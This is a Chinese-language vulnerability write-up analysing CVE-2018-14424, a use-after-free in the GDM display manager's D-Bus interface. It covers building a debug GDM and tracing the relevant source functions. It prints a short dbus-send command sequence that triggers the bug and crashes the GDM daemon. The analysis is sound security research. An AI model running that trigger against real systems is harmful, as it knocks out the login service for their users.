漏洞描述
GDM守护进程不能正确的取消导出在D-Bus 接口上已经被销毁的display对象,这造成本地用户可以触发UAF,从而使系统崩溃或造成任意代码执行。
调试环境
gdm版本: 3.14.2(通过git下载3.14版本的gdm)
Linux发型版本: Debain 9.5
内核版本: 4.9.0-7
体系结构: x86_64
工具: d-feet
环境搭建
安装前需要将已经安装的登陆管理器卸载(我环境中的是gdm3)
需要装的库:
build-essential dh-autoreconf intltool libcurl4-openssl-dev pkg-config libgtk-3-dev libmutter-dev libwnck-3-dev libgnome-menu-3-dev libupower-glib-dev gobject-introspection libglib3.0-cil-dev libgtk3.0-cil-dev libaccountsservice-dev libcanberra-gtk3-0 libcanberra-gtk3-dev libpam0g-dev
gdm 安装
# groupadd -g 21 gdm &&
useradd -c "GDM Daemon Owner" -d /var/lib/gdm -u 21 \
-g gdm -s /bin/false gdm &&
passwd -ql gdm
# ./autogen.sh
# ./configure CFLAGS=-g --prefix=/usr \
--sysconfdir=/etc \
--localstatedir=/var \
--without-plymouth \
--disable-static \
--enable-gdm-xsession \
--with-pam-mod-dir=/lib/security &&
make
# make install &&
install -v -m644 data/gdm.service.in /lib/systemd/system/gdm.service
更换/etc/X11/default-display-manager中为刚刚安装好的gdm二进制文件路径
之后运行
# systemctl enable gdm
使gdm守护进程开机启动
重启发现根本无法显示登陆管理器界面,可以使用Ctrl+Alt+F3的方式 切换到字符终端,然后登陆输入startx。其gdm守护进程也是启动的不影响调试。
漏洞分析
使gdm守护进程崩溃的命令如下:
$ display_path=$(dbus-send --system --dest=org.gnome.DisplayManager --type=method_call --print-reply=literal /org/gnome/DisplayManager/LocalDisplayFactory org.gnome.DisplayManager.LocalDisplayFactory.CreateTransientDisplay)
$ sleep 5
$ dbus-send --system --dest=org.gnome.DisplayManager --type=method_call $display_path org.gnome.DisplayManager.Display.GetId
其中D-Bus是针对桌面环境优化的IPC机制,用于进程间的通信或进程与内核的通信。(更加详细的D-Bus介绍可参考资料4、5、6)
第一条命令:调用显示登录管理器下面的LocalDisplayFactory对象的CreateTransientDisplay方法,并将回复的消息正文保存到display_path变量中
第二条命令 : 等待5秒
第三条命令:调用显示登录管理器下面的名称为第一条命令返回的字符串(保存在display_path变量中,类似于字符串“/org/gnome/DisplayManager/Displays/94425659672144”)的GetId方法
第一条命令分析
阅读资料7可以发现,第一条命令会调用daemon/gdm-local-display-factory.c:handle_create_transient_display函数
static gboolean
handle_create_transient_display (GdmDBusLocalDisplayFactory *skeleton,
GDBusMethodInvocation *invocation,
GdmLocalDisplayFactory *factory)
{
..............................
created = gdm_local_display_factory_create_transient_display (factory,
&id,
&error);
..............................
gdm_dbus_local_display_factory_complete_create_transient_display (skeleton, invocation, id);
..............................
}
其主要调用的函数为gdm_local_display_factory_create_transient_display.
gboolean
gdm_local_display_factory_create_transient_display (GdmLocalDisplayFactory *factory,
char **id,
GError **error)
{
..................................................
store_display (factory, num, display);
..................................................
}
其主要完成的任务是:
分配一个数字,然后分配一个与刚刚分配数字相关联的display对象。将display保存到GdmDisplayStore中的hash表中,将数字保存到GdmLocalDisplayFactory中priv的hash表中。
如果继续跟踪的store_display(静态+动态),会发现其调用了on_display_added函数
\\gdm-manager.c
static void
on_display_added (GdmDisplayStore *display_store,
const char *id,
GdmManager *manager)
{
............................
display = gdm_display_store_lookup (display_store, id);
..........................
if (display != NULL) {
g_dbus_object_manager_server_export (manager->priv->object_manager,
gdm_display_get_object_skeleton (display));
g_signal_connect (display, "notify::status",
G_CALLBACK (on_display_status_changed),
manager);
g_signal_emit (manager, signals[DISPLAY_ADDED], 0, id);
}
}
该函数完成的功能是:将刚刚创建的对象导出,并且将display对象的状态变换与on_display_status_changed(gdm-local-display-factory.c)函数相关联,如果我们用d-feet工具查看的话,可以看到已经导出。
第二条命令分析
我们分析刚刚创建的display对象的状态变换函数:
\\gdm-local-display-factory.c
static void
on_display_status_changed (GdmDisplay *display,
GParamSpec *arg1,
GdmLocalDisplayFactory *factory)
{
.....................
case GDM_DISPLAY_FINISHED:
/* remove the display number from factory->priv->displays
so that it may be reused */
g_hash_table_remove (factory->priv->displays, GUINT_TO_POINTER (num));
gdm_display_store_remove (store, display);
.....................
}
其会将display对象从hash表中删除(并没有将该内存销毁,销毁是在另一个函数中完成的)
我们查看gdm-display.c中的queue_finish函数,其会调用g_idle_add添加一个让程序在空闲时执行的函数,让其在空闲的时候销毁display对象。跟踪(动态加静态)发现其调用
static void
stored_display_free (StoredDisplay *stored_display)
{
char *id;
gdm_display_get_id (stored_display->display, &id, NULL);
g_signal_emit (G_OBJECT (stored_display->store),
signals[DISPLAY_REMOVED],
0,
id);
g_free (id);
g_debug ("GdmDisplayStore: Unreffing display: %p",
stored_display->display);
g_object_unref (stored_display->display);
g_slice_free (StoredDisplay, stored_display);
}
其在这里完成了display对象的内存销毁,在销毁对象之前,该函数会调用on_display_removed函数
\\gdm-manager.c
static void
on_display_removed (GdmDisplayStore *display_store,
const char *id,
GdmManager *manager)
{
GdmDisplay *display;
display = gdm_display_store_lookup (display_store, id);
if (display != NULL) {
g_dbus_object_manager_server_unexport (manager->priv->object_manager, id);
g_signal_handlers_disconnect_by_func (display, G_CALLBACK (on_display_status_changed), manager);
g_signal_emit (manager, signals[DISPLAY_REMOVED], 0, id);
}
}
分析可知该函数是将该对象取消导出。
所以可以知道第二条命令完成的是:等待display对象状态变为GDM_DISPLAY_FINISHED,然后将其从hash表中移除。等待空闲时调用stored_display_free函数,其调用on_display_removed,在该函数中因为该display对象已经被移除,gdm_display_store_lookup会返回空,所以取消该对象的导出失败,然后返回stored_display_free函数,将display对象销毁。但是通过d-feet工具查看,该对象仍然存在。
第三条命令分析
然后我们分析第三条命令(要调用的对象是/org/gnome/DisplayManager/Displays/94425659672144的GetId,其中只有数字部分是随机的其他不变)
根据介绍的方法可以定位到调用GetId方法的代码.
\\daemon\gdm-display.c
static gboolean
handle_get_id (GdmDBusDisplay *skeleton,
GDBusMethodInvocation *invocation,
GdmDisplay *display)
{
char *id;
gdm_display_get_id (display, &id, NULL);
gdm_dbus_display_complete_get_id (skeleton, invocation, id);
g_free (id);
return TRUE;
}
其对已经释放的display对象操作,造成UAF。
资料
1.CVE-2018-14424 use-after-free of disposed transient displays
https://gitlab.gnome.org/GNOME/gdm/issues/401
2.GDM源代码
3.GDM安装
http://www.linuxfromscratch.org/blfs/view/systemd/gnome/gdm.html
4.dbus实例讲解(一):初次见面
http://www.fmddlmyy.cn/text49.html
5.dbus实例讲解(二)
http://www.fmddlmyy.cn/text51.html
6.dbus实例讲解(二上):消息和消息总线
http://www.fmddlmyy.cn/text52.html
7.gdbus-codegen
https://manned.org/gdbus-codegen/37c6dcd1
8.GObject对象系统
https://www.ibm.com/developerworks/cn/linux/l-gobject/index.html